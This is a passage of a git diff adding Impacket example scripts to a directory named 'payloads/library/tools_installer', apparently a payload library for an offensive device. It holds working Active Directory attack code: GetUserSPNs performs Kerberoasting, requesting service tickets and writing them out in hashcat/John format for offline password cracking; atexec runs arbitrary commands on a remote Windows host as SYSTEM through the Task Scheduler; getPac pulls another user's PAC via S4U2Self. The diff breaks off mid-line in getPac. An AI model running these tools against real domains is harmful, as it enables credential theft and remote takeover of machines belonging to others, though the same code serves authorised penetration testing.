None: + self.__target = self.__kdcHost + else: + self.__target = self.__domain + + # Connect to LDAP + try: + ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + except ldap.LDAPSessionError, e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + else: + raise + + # Building the search filter + searchFilter = "(&(sAMAccountName=*)(mail=*)" + + if self.__requestUser is not None: + searchFilter += '(sAMAccountName:=%s))' % self.__requestUser + else: + searchFilter += ')' + + try: + logging.info('Querying %s for information about domain. Be patient...' % self.__target) + sc = ldap.SimplePagedResultsControl() + resp = ldapConnection.search(searchFilter=searchFilter, + attributes=['sAMAccountName', 'pwdLastSet', 'mail', 'lastLogon'], + sizeLimit=0, searchControls = [sc]) + except ldap.LDAPSearchError, e: + if e.getErrorString().find('sizeLimitExceeded') >= 0: + logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + # We reached the sizeLimit, process the answers we have already and that's it. Until we implement + # paged queries + resp = e.getAnswers() + pass + else: + raise + + answers = [] + logging.debug('Total of records returned %d' % len(resp)) + + for item in resp: + if isinstance(item, ldapasn1.SearchResultEntry) is not True: + continue + sAMAccountName = '' + pwdLastSet = '' + mail = '' + lastLogon = 'N/A' + try: + for attribute in item['attributes']: + if attribute['type'] == 'sAMAccountName': + if str(attribute['vals'][0]).endswith('$') is False: + # User Account + sAMAccountName = str(attribute['vals'][0]) + elif attribute['type'] == 'pwdLastSet': + if str(attribute['vals'][0]) == '0': + pwdLastSet = '' + else: + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif attribute['type'] == 'lastLogon': + if str(attribute['vals'][0]) == '0': + lastLogon = '' + else: + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif attribute['type'] == 'mail': + mail = str(attribute['vals'][0]) + + answers.append([sAMAccountName, mail, pwdLastSet, lastLogon]) + except Exception, e: + logging.error('Skipping item, cannot process due to error %s' % str(e)) + pass + + if len(answers)>0: + self.printTable(answers, header=[ "Name", "Email", "PasswordLastSet", "LastLogon"]) + print '\n\n' + + else: + print "No entries found!" + + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for users data") + + parser.add_argument('target', action='store', help='domain/username[:password]') + parser.add_argument('-user', action='store', metavar='username', help='Requests data for specific user ') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) ' + 'specified in the target parameter') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + # This is because I'm lazy with regex + # ToDo: We need to change the regex to fullfil domain/username[:password] + targetParam = options.target+'@' + domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(targetParam).groups('') + + #In case the password contains '@' + if '@' in address: + password = password + '@' + address.rpartition('@')[0] + address = address.rpartition('@')[2] + + if domain is '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + try: + executer = GetADUsers(username, password, domain, options) + executer.run() + except Exception, e: + #import traceback + #print traceback.print_exc() + print str(e) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/GetUserSPNs.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/GetUserSPNs.py new file mode 100644 index 0000000..0e0ec62 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/GetUserSPNs.py @@ -0,0 +1,396 @@ +#!/usr/bin/env python +# Copyright (c) 2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: +# Alberto Solino (@agsolino) +# +# Description: +# This module will try to find Service Principal Names that are associated with normal user account. +# Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request +# will encrypt the ticket with the account the SPN is running under, this could be used for an offline +# bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs. +# This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at +# https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf +# +# Original idea of implementing this in Python belongs to @skelsec and his +# https://github.com/skelsec/PyKerberoast project +# +# This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key. +# Also, disabled accounts won't be shown. +# +# ToDo: +# [X] Add the capability for requesting TGS and output them in JtR/hashcat format +# [ ] Improve the search filter, we have to specify we don't want machine accounts in the answer +# (play with userAccountControl) +# + + +import argparse +import logging +import os +import sys +from datetime import datetime +from binascii import hexlify, unhexlify + +from pyasn1.codec.der import decoder +from impacket import version +from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_NORMAL_ACCOUNT +from impacket.examples import logger +from impacket.krb5 import constants +from impacket.krb5.asn1 import TGS_REP +from impacket.krb5.ccache import CCache +from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS +from impacket.krb5.types import Principal +from impacket.ldap import ldap, ldapasn1 +from impacket.smbconnection import SMBConnection + + +class GetUserSPNs: + @staticmethod + def printTable(items, header): + colLen = [] + for i, col in enumerate(header): + rowMaxLen = max([len(row[i]) for row in items]) + colLen.append(max(rowMaxLen, len(col))) + + outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) + + # Print header + print outputFormat.format(*header) + print ' '.join(['-' * itemLen for itemLen in colLen]) + + # And now the rows + for row in items: + print outputFormat.format(*row) + + def __init__(self, username, password, domain, cmdLineOptions): + self.options = cmdLineOptions + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__outputFileName = options.outputfile + self.__aesKey = cmdLineOptions.aesKey + self.__doKerberos = cmdLineOptions.k + self.__target = None + self.__requestTGS = options.request + self.__kdcHost = cmdLineOptions.dc_ip + self.__saveTGS = cmdLineOptions.save + self.__requestUser = cmdLineOptions.request_user + if cmdLineOptions.hashes is not None: + self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') + + # Create the baseDN + domainParts = self.__domain.split('.') + self.baseDN = '' + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + def getMachineName(self): + if self.__kdcHost is not None: + s = SMBConnection(self.__kdcHost, self.__kdcHost) + else: + s = SMBConnection(self.__domain, self.__domain) + try: + s.login('', '') + except Exception: + logging.debug('Error while anonymous logging into %s' % self.__domain) + + s.logoff() + return s.getServerName() + + @staticmethod + def getUnixTime(t): + t -= 116444736000000000 + t /= 10000000 + return t + + def getTGT(self): + try: + ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) + except: + # No cache present + pass + else: + # retrieve user and domain information from CCache file if needed + if self.__domain == '': + domain = ccache.principal.realm['data'] + else: + domain = self.__domain + logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) + principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) + creds = ccache.getCredential(principal) + if creds is not None: + TGT = creds.toTGT() + logging.debug('Using TGT from cache') + return TGT + else: + logging.debug("No valid credentials found in cache. ") + + # No TGT in cache, request it + userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + unhexlify(self.__lmhash), + unhexlify(self.__nthash), self.__aesKey, + kdcHost=self.__kdcHost) + TGT = {} + TGT['KDC_REP'] = tgt + TGT['cipher'] = cipher + TGT['sessionKey'] = sessionKey + + return TGT + + def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): + decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + + # According to RFC4757 the cipher part is like: + # struct EDATA { + # struct HEADER { + # OCTET Checksum[16]; + # OCTET Confounder[8]; + # } Header; + # OCTET Data[0]; + # } edata; + # + # In short, we're interested in splitting the checksum and the rest of the encrypted data + # + if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), + hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])), + hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:]))) + if fd is None: + print entry + else: + fd.write(entry+'\n') + else: + logging.error('Skipping %s/%s due to incompatible e-type %d' % ( + decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], + decodedTGS['ticket']['enc-part']['etype'])) + + if self.__saveTGS is True: + # Save the ticket + logging.debug('About to save TGS for %s' % username) + ccache = CCache() + try: + ccache.fromTGS(tgs, oldSessionKey, sessionKey ) + ccache.saveFile('%s.ccache' % username) + except Exception, e: + logging.error(str(e)) + + def run(self): + if self.__doKerberos: + self.__target = self.getMachineName() + else: + if self.__kdcHost is not None: + self.__target = self.__kdcHost + else: + self.__target = self.__domain + + # Connect to LDAP + try: + ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + except ldap.LDAPSessionError, e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + else: + raise + + # Building the search filter + searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ + "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" + + if self.__requestUser is not None: + searchFilter += '(sAMAccountName:=%s))' % self.__requestUser + else: + searchFilter += ')' + + try: + resp = ldapConnection.search(searchFilter=searchFilter, + attributes=['servicePrincipalName', 'sAMAccountName', + 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], + sizeLimit=999) + except ldap.LDAPSearchError, e: + if e.getErrorString().find('sizeLimitExceeded') >= 0: + logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + # We reached the sizeLimit, process the answers we have already and that's it. Until we implement + # paged queries + resp = e.getAnswers() + pass + else: + raise + + answers = [] + logging.debug('Total of records returned %d' % len(resp)) + + for item in resp: + if isinstance(item, ldapasn1.SearchResultEntry) is not True: + continue + mustCommit = False + sAMAccountName = '' + memberOf = '' + SPNs = [] + pwdLastSet = '' + userAccountControl = 0 + lastLogon = 'N/A' + try: + for attribute in item['attributes']: + if attribute['type'] == 'sAMAccountName': + if str(attribute['vals'][0]).endswith('$') is False: + # User Account + sAMAccountName = str(attribute['vals'][0]) + mustCommit = True + elif attribute['type'] == 'userAccountControl': + userAccountControl = str(attribute['vals'][0]) + elif attribute['type'] == 'memberOf': + memberOf = str(attribute['vals'][0]) + elif attribute['type'] == 'pwdLastSet': + if str(attribute['vals'][0]) == '0': + pwdLastSet = '' + else: + pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif attribute['type'] == 'lastLogon': + if str(attribute['vals'][0]) == '0': + lastLogon = '' + else: + lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) + elif attribute['type'] == 'servicePrincipalName': + for spn in attribute['vals']: + SPNs.append(str(spn)) + + if mustCommit is True: + if int(userAccountControl) & UF_ACCOUNTDISABLE: + logging.debug('Bypassing disabled account %s ' % sAMAccountName) + else: + for spn in SPNs: + answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon]) + except Exception, e: + logging.error('Skipping item, cannot process due to error %s' % str(e)) + pass + + if len(answers)>0: + self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"]) + print '\n\n' + + if self.__requestTGS is True or self.__requestUser is not None: + # Let's get unique user names and a SPN to request a TGS for + users = dict( (vals[1], vals[0]) for vals in answers) + + # Get a TGT for the current user + TGT = self.getTGT() + if self.__outputFileName is not None: + fd = open(self.__outputFileName, 'w+') + else: + fd = None + for user, SPN in users.iteritems(): + try: + serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, + self.__kdcHost, + TGT['KDC_REP'], TGT['cipher'], + TGT['sessionKey']) + self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN, fd) + except Exception , e: + logging.error(str(e)) + if fd is not None: + fd.close() + + else: + print "No entries found!" + + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print version.BANNER + + parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for SPNs that are running " + "under a user account") + + parser.add_argument('target', action='store', help='domain/username[:password]') + parser.add_argument('-request', action='store_true', default='False', help='Requests TGS for users and output them ' + 'in JtR/hashcat format (default False)') + parser.add_argument('-request-user', action='store', metavar='username', help='Requests TGS for the SPN associated ' + 'to the user specified (just the username, no domain needed)') + parser.add_argument('-save', action='store_true', default='False', help='Saves TGS requested to disk. Format is ' + '.ccache. Auto selects -request') + parser.add_argument('-outputfile', action='store', + help='Output filename to write ciphers in JtR/hashcat format') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) ' + 'specified in the target parameter') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + # This is because I'm lazy with regex + # ToDo: We need to change the regex to fullfil domain/username[:password] + targetParam = options.target+'@' + domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(targetParam).groups('') + + #In case the password contains '@' + if '@' in address: + password = password + '@' + address.rpartition('@')[0] + address = address.rpartition('@')[2] + + if domain is '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + if options.save is True or options.outputfile is not None: + options.request = True + + try: + executer = GetUserSPNs(username, password, domain, options) + executer.run() + except Exception, e: + #import traceback + #print traceback.print_exc() + print str(e) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/atexec.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/atexec.py new file mode 100644 index 0000000..034b09d --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/atexec.py @@ -0,0 +1,233 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# ATSVC example for some functions implemented, creates, enums, runs, delete jobs +# This example executes a command on the target machine through the Task Scheduler +# service. Returns the output of such command +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# DCE/RPC for TSCH + +import string +import sys +import argparse +import time +import random +import logging + +from impacket.examples import logger +from impacket import version +from impacket.dcerpc.v5 import tsch, transport +from impacket.dcerpc.v5.dtypes import NULL + + +class TSCH_EXEC: + def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, + command=None): + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = aesKey + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + self.__command = command + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + def play(self, addr): + stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr + rpctransport = transport.DCERPCTransportFactory(stringbinding) + + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey) + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + try: + self.doStuff(rpctransport) + except Exception, e: + #import traceback + #traceback.print_exc() + logging.error(e) + if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0: + logging.info('When STATUS_OBJECT_NAME_NOT_FOUND is received, try running again. It might work') + + def doStuff(self, rpctransport): + def output_callback(data): + print data + + dce = rpctransport.get_dce_rpc() + + dce.set_credentials(*rpctransport.get_credentials()) + dce.connect() + #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) + dce.bind(tsch.MSRPC_UUID_TSCHS) + tmpName = ''.join([random.choice(string.letters) for _ in range(8)]) + tmpFileName = tmpName + '.tmp' + + xml = """ + + + + 2015-07-15T20:35:13.2757294 + true + + 1 + + + + + + S-1-5-18 + HighestAvailable + + + + IgnoreNew + false + false + true + false + + true + false + + true + true + true + false + false + P3D + 7 + + + + cmd.exe + /C %s > %%windir%%\\Temp\\%s 2>&1 + + + + """ % (self.__command, tmpFileName) + taskCreated = False + try: + logging.info('Creating task \\%s' % tmpName) + tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) + taskCreated = True + + logging.info('Running task \\%s' % tmpName) + tsch.hSchRpcRun(dce, '\\%s' % tmpName) + + done = False + while not done: + logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) + resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) + if resp['pLastRuntime']['wYear'] != 0: + done = True + else: + time.sleep(2) + + logging.info('Deleting task \\%s' % tmpName) + tsch.hSchRpcDelete(dce, '\\%s' % tmpName) + taskCreated = False + except tsch.DCERPCSessionError, e: + logging.error(e) + e.get_packet().dump() + finally: + if taskCreated is True: + tsch.hSchRpcDelete(dce, '\\%s' % tmpName) + + smbConnection = rpctransport.get_smb_connection() + waitOnce = True + while True: + try: + logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) + smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback) + break + except Exception, e: + if str(e).find('SHARING') > 0: + time.sleep(3) + elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: + if waitOnce is True: + # We're giving it the chance to flush the file before giving up + time.sleep(3) + waitOnce = False + else: + raise + else: + raise + logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) + smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) + + dce.disconnect() + + +# Process command-line arguments. +if __name__ == '__main__': + print version.BANNER + # Init the example's logger theme + logger.init() + + logging.warning("This will work ONLY on Windows >= Vista") + + parser = argparse.ArgumentParser() + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('command', action='store', nargs='*', default = ' ', help='command to execute at the target ') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. ' + 'If ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + + domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + + #In case the password contains '@' + if '@' in address: + password = password + '@' + address.rpartition('@')[0] + address = address.rpartition('@')[2] + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + atsvc_exec = TSCH_EXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, + ' '.join(options.command)) + atsvc_exec.play(address) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/esentutl.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/esentutl.py new file mode 100644 index 0000000..56c1607 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/esentutl.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# ESE utility. Allows dumping catalog, pages and tables. +# +# Author: +# Alberto Solino (@agsolino) +# +# +# Reference for: +# Extensive Storage Engine (ese) +# + +import sys +import logging +import argparse + +from impacket.examples import logger +from impacket import version +from impacket.ese import ESENT_DB + + +def dumpPage(ese, pageNum): + data = ese.getPage(pageNum) + data.dump() + +def exportTable(ese, tableName): + cursor = ese.openTable(tableName) + if cursor is None: + logging.error('Can"t get a cursor for table: %s' % tableName) + return + + i = 1 + print "Table: %s" % tableName + while True: + try: + record = ese.getNextRow(cursor) + except: + logging.error('Error while calling getNextRow(), trying the next one') + continue + + if record is None: + break + print "*** %d" % i + for j in record.keys(): + if record[j] is not None: + print "%-30s: %r" % (j, record[j]) + i += 1 + +def main(): + print version.BANNER + # Init the example's logger theme + logger.init() + + parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping " + "catalog, pages and tables.") + parser.add_argument('databaseFile', action='store', help='ESE to open') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-page', action='store', help='page to open') + + subparsers = parser.add_subparsers(help='actions', dest='action') + + # dump page + dump_parser = subparsers.add_parser('dump', help='dumps an specific page') + dump_parser.add_argument('-page', action='store', required=True, help='page to dump') + + # info page + subparsers.add_parser('info', help='dumps the catalog info for the DB') + + # export page + export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB') + export_parser.add_argument('-table', action='store', required=True, help='table to dump') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + ese = ESENT_DB(options.databaseFile) + + try: + if options.action.upper() == 'INFO': + ese.printCatalog() + elif options.action.upper() == 'DUMP': + dumpPage(ese, int(options.page)) + elif options.action.upper() == 'EXPORT': + exportTable(ese, options.table) + else: + logging.error('Unknown action %s ' % options.action) + raise + except Exception, e: + #import traceback + #print traceback.print_exc() + print e + ese.close() + + +if __name__ == '__main__': + main() + sys.exit(1) + + + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/getPac.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/getPac.py new file mode 100644 index 0000000..c8e56e1 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/getPac.py @@ -0,0 +1,332 @@ +#!/usr/bin/python +# Copyright (c) 2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: +# Alberto Solino (@agsolino) +# +# Description: +# This script will get the PAC of the specified target user just having a normal authenticated user credentials. +# It does so by using a mix of [MS-SFU]'s S4USelf + User to User Kerberos Authentication. +# Original idea (or accidental discovery :) ) of adding U2U capabilities inside a S4USelf by Benjamin Delpy (@gentilkiwi) +# +# References: +# +# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02 +# [MS-SFU]: https://msdn.microsoft.com/en-us/library/cc246071.aspx + +import argparse +import datetime +import logging +import random +import re +import struct +import sys + +from pyasn1.codec.der import decoder, encoder + +from impacket import version +from impacket.dcerpc.v5.rpcrt import TypeSerialization1 +from impacket.examples import logger +from impacket.krb5 import constants +from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ + EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1 +from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, Enctype +from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive +from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \ + PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO +from impacket.krb5.types import Principal, KerberosTime, Ticket +from impacket.winregistry import hexdump + + +class S4U2SELF: + + def printPac(self, data): + encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0] + adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[ + 0] + # So here we have the PAC + pacType = PACTYPE(str(adIfRelevant[0]['ad-data'])) + buff = pacType['Buffers'] + + for bufferN in range(pacType['cBuffers']): + infoBuffer = PAC_INFO_BUFFER(buff) + data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] + if logging.getLogger().level == logging.DEBUG: + print "TYPE 0x%x" % infoBuffer['ulType'] + if infoBuffer['ulType'] == 1: + type1 = TypeSerialization1(data) + # I'm skipping here 4 bytes with its the ReferentID for the pointer + newdata = data[len(type1)+4:] + kerbdata = KERB_VALIDATION_INFO() + kerbdata.fromString(newdata) + kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) + kerbdata.dump() + print + print 'Domain SID:', kerbdata['LogonDomainId'].formatCanonical() + print + elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: + clientInfo = PAC_CLIENT_INFO(data) + if logging.getLogger().level == logging.DEBUG: + clientInfo.dump() + print + elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: + signatureData = PAC_SIGNATURE_DATA(data) + if logging.getLogger().level == logging.DEBUG: + signatureData.dump() + print + elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: + signatureData = PAC_SIGNATURE_DATA(data) + if logging.getLogger().level == logging.DEBUG: + signatureData.dump() + print + elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: + upn = UPN_DNS_INFO(data) + if logging.getLogger().level == logging.DEBUG: + upn.dump() + print data[upn['DnsDomainNameOffset']:] + print + else: + hexdump(data) + + if logging.getLogger().level == logging.DEBUG: + print "#"*80 + + buff = buff[len(infoBuffer):] + + + def __init__(self, behalfUser, username = '', password = '', domain='', hashes = None): + self.__username = username + self.__password = password + self.__domain = domain.upper() + self.__behalfUser = behalfUser + self.__lmhash = '' + self.__nthash = '' + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + def dump(self, addr): + # Try all requested protocols until one works. + + userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + self.__lmhash.decode('hex'), self.__nthash.decode('hex')) + + decodedTGT = 